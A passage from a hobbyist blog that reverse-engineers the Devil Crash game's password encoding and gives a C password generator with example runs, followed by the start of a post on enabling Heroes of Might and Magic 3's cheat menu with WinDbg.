<li>There is a table of fixed values used to XOR the score and number of balls
and I called it <code class="language-plaintext highlighter-rouge">table</code></li>
<li>The password is a 24 bits number</li>
<li>The number of balls is a 7 bits number</li>
</ul>
<p>This process will take the <code class="language-plaintext highlighter-rouge">score</code> and number of <code class="language-plaintext highlighter-rouge">balls</code> as input, and output the
password.</p>
<p>A buffer of size 10 is defined to hold the password and initialized to a dummy
value.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">char</span> <span class="n">password</span><span class="p">[</span><span class="mi">10</span><span class="p">]</span> <span class="o">=</span> <span class="s">"&&&&&&&&&&"</span><span class="p">;</span>
</code></pre></div></div>
<p>We also define the <code class="language-plaintext highlighter-rouge">toAscii</code> function, which is just the reverse of the
<code class="language-plaintext highlighter-rouge">decodePassChar</code> function defined before (it performs the operation over that
table, transforming the number back into an ASCII char).</p>
<p>A random value between 0x00 and 0xFF is chosen, and then AND it with 0x03. Call
this value <code class="language-plaintext highlighter-rouge">index</code>. The password generation logic in the game is pretty weird
for this <code class="language-plaintext highlighter-rouge">index</code> value. It calls lots of different code, and ends up with a
value between 0x00 and 0xFF which is then ANDed with 0x03 and used. While
playing the game, if you tell it to generate the password multiple times you
will notice that the password changes. The reason for that is that this <code class="language-plaintext highlighter-rouge">index</code>
value keeps changing which lead me to believe it is “random”.</p>
<p>From <code class="language-plaintext highlighter-rouge">table</code>, take the four bytes starting at <code class="language-plaintext highlighter-rouge">table[index * 8]</code> and XOR it
with <code class="language-plaintext highlighter-rouge">score</code> and save it in <code class="language-plaintext highlighter-rouge">score_xored</code>. (Remembering that <code class="language-plaintext highlighter-rouge">table</code> is an
array of char that is hardcoded in the game).</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">index</span> <span class="o">=</span> <span class="n">random</span><span class="p">()</span> <span class="o">%</span> <span class="mi">4</span><span class="p">;</span> <span class="c1">// random number between 0 and 3</span>
<span class="kt">int</span> <span class="n">tmp</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">score</span> <span class="o">=</span> <span class="mi">176</span><span class="p">;</span> <span class="c1">// example score value already divided by 100</span>
<span class="kt">int</span> <span class="n">score_xored</span><span class="p">;</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">table</span> <span class="o">=</span> <span class="s">"MEGA-DRATHUNDER4GANBATTETUKURUZOA"</span><span class="p">;</span>
<span class="n">tmp</span> <span class="o">=</span> <span class="n">table</span><span class="p">[(</span><span class="n">index</span> <span class="o">*</span> <span class="mi">8</span><span class="p">)</span> <span class="o">+</span> <span class="mi">0</span><span class="p">]</span> <span class="o"><<</span> <span class="mi">24</span> <span class="o">|</span>
<span class="n">table</span><span class="p">[(</span><span class="n">index</span> <span class="o">*</span> <span class="mi">8</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o"><<</span> <span class="mi">16</span> <span class="o">|</span>
<span class="n">table</span><span class="p">[(</span><span class="n">index</span> <span class="o">*</span> <span class="mi">8</span><span class="p">)</span> <span class="o">+</span> <span class="mi">2</span><span class="p">]</span> <span class="o"><<</span> <span class="mi">8</span> <span class="o">|</span>
<span class="n">table</span><span class="p">[(</span><span class="n">index</span> <span class="o">*</span> <span class="mi">8</span><span class="p">)</span> <span class="o">+</span> <span class="mi">3</span><span class="p">];</span>
<span class="n">score_xored</span> <span class="o">=</span> <span class="n">score</span> <span class="o">^</span> <span class="n">tmp</span><span class="p">;</span>
</code></pre></div></div>
<p>Save the two least significant bits of <code class="language-plaintext highlighter-rouge">score_xored</code> in a temporary variable
called <code class="language-plaintext highlighter-rouge">d3</code>.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="n">d3</span><span class="p">;</span>
<span class="n">d3</span> <span class="o">=</span> <span class="n">score_xored</span> <span class="o">&</span> <span class="mh">0x03</span><span class="p">;</span>
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">score_xored</code> is then rotated left 5 bits. We take the least 5 significant
and sum them to <code class="language-plaintext highlighter-rouge">index + 1</code> and save them in a <code class="language-plaintext highlighter-rouge">tmp</code> variable.
This rotation to the left is just to make it easy to isolate the bits that we
want to work with. The rotation simply puts those 5 bits in the right most
position of the binary number making them the 5 least significant bits. That
way it is easy to extract those bits.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">score_xored</span> <span class="o">=</span> <span class="n">intRotateLeft</span><span class="p">(</span><span class="n">score_xored</span><span class="p">,</span> <span class="mi">5</span><span class="p">);</span>
<span class="n">tmp</span> <span class="o">=</span> <span class="n">score_xored</span> <span class="o">&</span> <span class="mh">0x1F</span><span class="p">;</span> <span class="c1">// Take the least 5 significant bits</span>
<span class="n">tmp</span> <span class="o">=</span> <span class="n">tmp</span> <span class="o">+</span> <span class="n">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
</code></pre></div></div>
<p>This <code class="language-plaintext highlighter-rouge">tmp</code> variable now contains a value between 0x00 and 0x23 (remember, index
is a value between 0x00 and 0x03 and we are ANDing the score_xored with 0x1F so
the maximum value possible here is 0x1F + 0x03 + 0x01). The <code class="language-plaintext highlighter-rouge">tmp</code> value is then
converted to an ASCII value according to the <code class="language-plaintext highlighter-rouge">toAscii</code> function and stored in
the buffer where the final password is. This process is repeated in a loop 6
times, and starts by writing to the third password character all the way to the
eighth.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">score_xored</span> <span class="o">=</span> <span class="n">intRotateLeft</span><span class="p">(</span><span class="n">score_xored</span><span class="p">,</span> <span class="mi">5</span><span class="p">);</span>
<span class="n">tmp</span> <span class="o">=</span> <span class="n">score_xored</span> <span class="o">&</span> <span class="mh">0x1F</span><span class="p">;</span> <span class="c1">// Take the least 5 significant bits</span>
<span class="n">tmp</span> <span class="o">=</span> <span class="n">tmp</span> <span class="o">+</span> <span class="n">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">password</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">toAscii</span><span class="p">(</span><span class="n">tmp</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Up to this point we were able to encode almost all bits of the password, except
for the two least significant ones. These two bits were stored in the <code class="language-plaintext highlighter-rouge">d3</code>
variable and will be encoded in the 9th character of the password, together
with the two most significant bits of the XORed number of balls.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">balls_xored</span> <span class="o">=</span> <span class="n">balls</span> <span class="o">^</span> <span class="n">table</span><span class="p">[(</span><span class="n">index</span> <span class="o">*</span> <span class="mi">8</span><span class="p">)</span> <span class="o">+</span> <span class="mi">4</span><span class="p">];</span>
<span class="n">d3</span> <span class="o">=</span> <span class="p">(</span><span class="n">d3</span> <span class="o"><<</span> <span class="mi">3</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">balls_xored</span> <span class="o">>></span> <span class="mi">5</span><span class="p">);</span> <span class="c1">// 2 bits of score + 2 bits of number of balls</span>
<span class="n">d3</span> <span class="o">=</span> <span class="p">(</span><span class="n">d3</span> <span class="o">&</span> <span class="mh">0x1F</span><span class="p">)</span> <span class="o">+</span> <span class="n">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">password</span><span class="p">[</span><span class="mi">8</span><span class="p">]</span> <span class="o">=</span> <span class="n">toAscii</span><span class="p">(</span><span class="n">d3</span><span class="p">);</span>
</code></pre></div></div>
<p>The last character of the password contains then the 5 least significant bits
of <code class="language-plaintext highlighter-rouge">balls_xored</code>.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">tmp</span> <span class="o">=</span> <span class="p">(</span><span class="n">balls_xored</span> <span class="o">&</span> <span class="mh">0x1F</span><span class="p">)</span> <span class="o">+</span> <span class="n">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">password</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">=</span> <span class="n">toAscii</span><span class="p">(</span><span class="n">tmp</span><span class="p">);</span>
</code></pre></div></div>
<p>So all bytes from 2 to 9 have been covered so far. We are just missing the
first two bytes of the password.</p>
<p>Now, in order to be able to decode this password we must have the value of
<code class="language-plaintext highlighter-rouge">index</code> encoded into it (so that the reverse operations can be performed by the
routine that validates the password), and for good measure add a checksum byte
to the password.</p>
<p>The checksum is stored in the first byte of the password. It is calculated by
rotating the bits of the characters calculated up to this point, with the
following logic:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">checksum</span> <span class="o">=</span> <span class="n">byteRotateRight</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="mi">7</span><span class="p">)</span> <span class="o">^</span> <span class="n">byteRotateRight</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">3</span><span class="p">],</span> <span class="mi">6</span><span class="p">)</span> <span class="o">^</span>
<span class="n">byteRotateRight</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">4</span><span class="p">],</span> <span class="mi">5</span><span class="p">)</span> <span class="o">^</span> <span class="n">byteRotateRight</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">5</span><span class="p">],</span> <span class="mi">4</span><span class="p">)</span> <span class="o">^</span>
<span class="n">byteRotateRight</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">6</span><span class="p">],</span> <span class="mi">3</span><span class="p">)</span> <span class="o">^</span> <span class="n">byteRotateRight</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">7</span><span class="p">],</span> <span class="mi">2</span><span class="p">)</span> <span class="o">^</span>
<span class="n">byteRotateRight</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">8</span><span class="p">],</span> <span class="mi">1</span><span class="p">)</span> <span class="o">^</span> <span class="n">byteRotateRight</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">9</span><span class="p">],</span> <span class="mi">0</span><span class="p">);</span>
</code></pre></div></div>
<p>This checksum value is then stored in the first and second bytes of the
password. The 5 most significant bits are stored in the first character and the
least 3 significant bits are stored in the second character together with the
<code class="language-plaintext highlighter-rouge">index</code>. The logic looks like this:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">password</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">toAscii</span><span class="p">(</span><span class="n">checksum</span> <span class="o">>></span> <span class="mi">3</span><span class="p">);</span>
<span class="kt">char</span> <span class="n">b2</span> <span class="o">=</span> <span class="p">((</span><span class="n">checksum</span> <span class="o">&</span> <span class="mh">0x07</span><span class="p">)</span> <span class="o"><<</span> <span class="mi">2</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">index</span> <span class="o">&</span> <span class="mh">0x03</span><span class="p">);</span>
<span class="n">password</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">toAscii</span><span class="p">(</span><span class="n">b2</span><span class="p">);</span>
</code></pre></div></div>
<p>The final code looks like this:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp">
#include</span> <span class="cpf"><stdlib.h></span><span class="cp">
#include</span> <span class="cpf"><string.h></span><span class="cp">
#include</span> <span class="cpf"><time.h></span><span class="cp">
</span>
<span class="cp">#define MAX_SCORE 0x98967F
</span>
<span class="kt">void</span> <span class="nf">validate_arguments</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span> <span class="p">{</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">score</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">short</span> <span class="n">balls</span><span class="p">;</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">score_str</span><span class="p">;</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">balls_str</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="n">argc</span> <span class="o"><</span> <span class="mi">3</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Usage: %s score balls</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">argv</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
<span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">score_str</span> <span class="o">=</span> <span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span>
<span class="n">balls_str</span> <span class="o">=</span> <span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">];</span>
<span class="n">score</span> <span class="o">=</span> <span class="n">atoi</span><span class="p">(</span><span class="n">score_str</span><span class="p">);</span>
<span class="n">balls</span> <span class="o">=</span> <span class="n">atoi</span><span class="p">(</span><span class="n">balls_str</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Score provided: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">score</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Balls provided: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">balls</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="n">strlen</span><span class="p">(</span><span class="n">score_str</span><span class="p">)</span> <span class="o"><</span> <span class="mi">3</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Score has to be at least 3 chars long</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">((</span><span class="n">score</span> <span class="o">%</span> <span class="mi">100</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Two least significative digits of the score should be 00</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">((</span><span class="n">score</span> <span class="o">/</span> <span class="mi">100</span><span class="p">)</span> <span class="o">></span> <span class="n">MAX_SCORE</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Score cannot be greater than %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">MAX_SCORE</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="n">balls</span> <span class="o">></span> <span class="mi">99</span><span class="p">)</span> <span class="p">{</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Number of balls cannot be greater than 99</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="kt">char</span> <span class="nf">toAscii</span><span class="p">(</span><span class="kt">char</span> <span class="n">d2</span><span class="p">)</span> <span class="p">{</span>
<span class="n">d2</span> <span class="o">+=</span> <span class="mh">0x30</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="n">d2</span> <span class="o">></span> <span class="mh">0x39</span><span class="p">)</span>
<span class="n">d2</span> <span class="o">+=</span> <span class="mi">7</span><span class="p">;</span>
<span class="k">return</span> <span class="n">d2</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">intRotateLeft</span><span class="p">(</span><span class="kt">int</span> <span class="n">val</span><span class="p">,</span> <span class="kt">int</span> <span class="n">qty</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// if least significant bit is 1, we need to move</span>
<span class="c1">// it to the most significant bit position after</span>
<span class="c1">// the shift</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">qty</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="kt">char</span> <span class="n">isOne</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">if</span><span class="p">((</span><span class="n">val</span> <span class="o">&</span> <span class="mh">0x80000000</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0x80000000</span><span class="p">)</span> <span class="p">{</span> <span class="c1">// supposing int is 32 bits</span>
<span class="n">isOne</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">val</span> <span class="o">=</span> <span class="n">val</span> <span class="o"><<</span> <span class="mi">1</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="n">isOne</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">val</span> <span class="o">=</span> <span class="n">val</span> <span class="o">|</span> <span class="mh">0x01</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">val</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="nf">byteRotateRight</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">val</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">qty</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// if least significant bit is 1, we need to move</span>
<span class="c1">// it to the most significant bit position after</span>
<span class="c1">// the shift</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="n">qty</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="kt">char</span> <span class="n">isOne</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">if</span><span class="p">((</span><span class="n">val</span> <span class="o">&</span> <span class="mh">0x01</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0x01</span><span class="p">)</span> <span class="p">{</span>
<span class="n">isOne</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">val</span> <span class="o">=</span> <span class="n">val</span> <span class="o">>></span> <span class="mi">1</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="n">isOne</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
<span class="n">val</span> <span class="o">=</span> <span class="n">val</span> <span class="o">|</span> <span class="mh">0x80</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">val</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">)</span> <span class="p">{</span>
<span class="n">validate_arguments</span><span class="p">(</span><span class="n">argc</span><span class="p">,</span> <span class="n">argv</span><span class="p">);</span>
<span class="kt">char</span> <span class="n">password</span><span class="p">[</span><span class="mi">10</span><span class="p">]</span> <span class="o">=</span> <span class="s">"&&&&&&&&&&"</span><span class="p">;</span>
<span class="n">srand</span><span class="p">(</span><span class="n">time</span><span class="p">(</span><span class="nb">NULL</span><span class="p">));</span>
<span class="kt">int</span> <span class="n">index</span> <span class="o">=</span> <span class="n">random</span><span class="p">()</span> <span class="o">%</span> <span class="mi">4</span><span class="p">;</span> <span class="c1">// random number between 0 and 3</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"index = %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">index</span><span class="p">);</span>
<span class="kt">int</span> <span class="n">tmp</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">score</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">score_xored</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">balls</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">balls_xored</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">d3</span><span class="p">;</span>
<span class="kt">char</span> <span class="o">*</span><span class="n">table</span> <span class="o">=</span> <span class="s">"MEGA-DRATHUNDER4GANBATTETUKURUZOA"</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">b2</span><span class="p">;</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">checksum</span><span class="p">;</span>
<span class="n">score</span> <span class="o">=</span> <span class="n">atoi</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span> <span class="o">/</span> <span class="mi">100</span><span class="p">;</span>
<span class="n">balls</span> <span class="o">=</span> <span class="n">atoi</span><span class="p">(</span><span class="n">argv</span><span class="p">[</span><span class="mi">2</span><span class="p">]);</span>
<span class="n">tmp</span> <span class="o">=</span> <span class="n">table</span><span class="p">[</span><span class="n">index</span> <span class="o">*</span> <span class="mi">8</span> <span class="o">+</span> <span class="mi">0</span><span class="p">]</span> <span class="o"><<</span> <span class="mi">24</span> <span class="o">|</span>
<span class="n">table</span><span class="p">[</span><span class="n">index</span> <span class="o">*</span> <span class="mi">8</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]</span> <span class="o"><<</span> <span class="mi">16</span> <span class="o">|</span>
<span class="n">table</span><span class="p">[</span><span class="n">index</span> <span class="o">*</span> <span class="mi">8</span> <span class="o">+</span> <span class="mi">2</span><span class="p">]</span> <span class="o"><<</span> <span class="mi">8</span> <span class="o">|</span>
<span class="n">table</span><span class="p">[</span><span class="n">index</span> <span class="o">*</span> <span class="mi">8</span> <span class="o">+</span> <span class="mi">3</span><span class="p">];</span>
<span class="n">score_xored</span> <span class="o">=</span> <span class="n">score</span> <span class="o">^</span> <span class="n">tmp</span><span class="p">;</span>
<span class="n">d3</span> <span class="o">=</span> <span class="n">score_xored</span> <span class="o">&</span> <span class="mh">0x03</span><span class="p">;</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span> <span class="n">i</span> <span class="o"><</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
<span class="n">score_xored</span> <span class="o">=</span> <span class="n">intRotateLeft</span><span class="p">(</span><span class="n">score_xored</span><span class="p">,</span> <span class="mi">5</span><span class="p">);</span>
<span class="n">tmp</span> <span class="o">=</span> <span class="n">score_xored</span> <span class="o">&</span> <span class="mh">0x1F</span><span class="p">;</span> <span class="c1">// Take the least 5 significant bits</span>
<span class="n">tmp</span> <span class="o">=</span> <span class="n">tmp</span> <span class="o">+</span> <span class="n">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">password</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">toAscii</span><span class="p">(</span><span class="n">tmp</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">balls_xored</span> <span class="o">=</span> <span class="n">balls</span> <span class="o">^</span> <span class="n">table</span><span class="p">[(</span><span class="n">index</span> <span class="o">*</span> <span class="mi">8</span><span class="p">)</span> <span class="o">+</span> <span class="mi">4</span><span class="p">];</span>
<span class="n">d3</span> <span class="o">=</span> <span class="p">(</span><span class="n">d3</span> <span class="o"><<</span> <span class="mi">3</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">balls_xored</span> <span class="o">>></span> <span class="mi">5</span><span class="p">);</span> <span class="c1">// 2 bits of score + </span>
<span class="c1">// 2 bits of number of balls</span>
<span class="n">d3</span> <span class="o">=</span> <span class="p">(</span><span class="n">d3</span> <span class="o">&</span> <span class="mh">0x1F</span><span class="p">)</span> <span class="o">+</span> <span class="n">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">password</span><span class="p">[</span><span class="mi">8</span><span class="p">]</span> <span class="o">=</span> <span class="n">toAscii</span><span class="p">(</span><span class="n">d3</span><span class="p">);</span>
<span class="n">tmp</span> <span class="o">=</span> <span class="p">(</span><span class="n">balls_xored</span> <span class="o">&</span> <span class="mh">0x1F</span><span class="p">)</span> <span class="o">+</span> <span class="n">index</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
<span class="n">password</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">=</span> <span class="n">toAscii</span><span class="p">(</span><span class="n">tmp</span><span class="p">);</span>
<span class="n">checksum</span> <span class="o">=</span> <span class="n">byteRotateRight</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="mi">7</span><span class="p">)</span> <span class="o">^</span> <span class="n">byteRotateRight</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">3</span><span class="p">],</span> <span class="mi">6</span><span class="p">)</span> <span class="o">^</span>
<span class="n">byteRotateRight</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">4</span><span class="p">],</span> <span class="mi">5</span><span class="p">)</span> <span class="o">^</span> <span class="n">byteRotateRight</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">5</span><span class="p">],</span> <span class="mi">4</span><span class="p">)</span> <span class="o">^</span>
<span class="n">byteRotateRight</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">6</span><span class="p">],</span> <span class="mi">3</span><span class="p">)</span> <span class="o">^</span> <span class="n">byteRotateRight</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">7</span><span class="p">],</span> <span class="mi">2</span><span class="p">)</span> <span class="o">^</span>
<span class="n">byteRotateRight</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">8</span><span class="p">],</span> <span class="mi">1</span><span class="p">)</span> <span class="o">^</span> <span class="n">byteRotateRight</span><span class="p">(</span><span class="n">password</span><span class="p">[</span><span class="mi">9</span><span class="p">],</span> <span class="mi">0</span><span class="p">);</span>
<span class="n">password</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">toAscii</span><span class="p">(</span><span class="n">checksum</span> <span class="o">>></span> <span class="mi">3</span><span class="p">);</span>
<span class="n">b2</span> <span class="o">=</span> <span class="p">((</span><span class="n">checksum</span> <span class="o">&</span> <span class="mh">0x07</span><span class="p">)</span> <span class="o"><<</span> <span class="mi">2</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">index</span> <span class="o">&</span> <span class="mh">0x03</span><span class="p">);</span>
<span class="n">password</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">toAscii</span><span class="p">(</span><span class="n">b2</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"Password generated is: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">password</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>And here are a couple of example runs:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./a.out 123456700 39
Score provided: 123456700
Balls provided: 39
index = 1
Password generated is: DDCJFA9KD5
</code></pre></div></div>
<p class="image">
<img src="/images/201701/devilcrash-password-DDCJFA9KD5.png" alt="Score 123456700 and 39 balls" data-action="zoom" />
<em>Score 123456700 and 39 balls</em>
</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./a.out 765432100 74
Score provided: 765432100
Balls provided: 74
index = 0
Password generated is: 54ALPPQT48
</code></pre></div></div>
<p class="image">
<img src="/images/201701/devilcrash-password-54ALPPQT48.png" alt="Score 765432100 and 74 balls" data-action="zoom" />
<em>Score 765432100 and 74 balls</em>
</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ./a.out 112233400 51
Score provided: 112233400
Balls provided: 51
index = 1
Password generated is: E5CJEPCM5P
</code></pre></div></div>
<p class="image">
<img src="/images/201701/devilcrash-password-E5CJEPCM5P.png" alt="Score 112233400 and 51 balls" data-action="zoom" />
<em>Score 112233400 and 51 balls</em>
</p>
Cheating at Heroes of Might and Magic 3 with WinDbg2016-10-17T00:00:00+00:00https://www.gilgalab.com/blog/2016/10/17/Cheating-at-Heroes-of-Might-and-Magic-3<h1 id="introduction">Introduction</h1>
<p>I decided I wanted to learn how to use WinDbg. I’ve read good
comments about it online and learning it would make sense since I want to play
a little bit with some Windows internals at some point. As a starting point, I
decided I was going to try to debug the “Heroes of Might and Magic 3” (HoMM3)
game in order to figure out how to increase the number of troops controlled by
my hero. What I found out, is that the game already provides a nice “Cheat”
menu, with many cool options that allow, among other things, the addition of
new troops to my army.</p>
<p>This is then going to be a post that describes my the process on how to
activate this “Cheat” menu while describing what I learned about WinDbg
in a step by step fashion. See it as a practical introduction to WinDbg
if you will.</p>
<p>For those that want to follow along, the game can be purchased
<a href="https://www.gog.com/game/heroes_of_might_and_magic_3_complete_edition/">here</a>.</p>
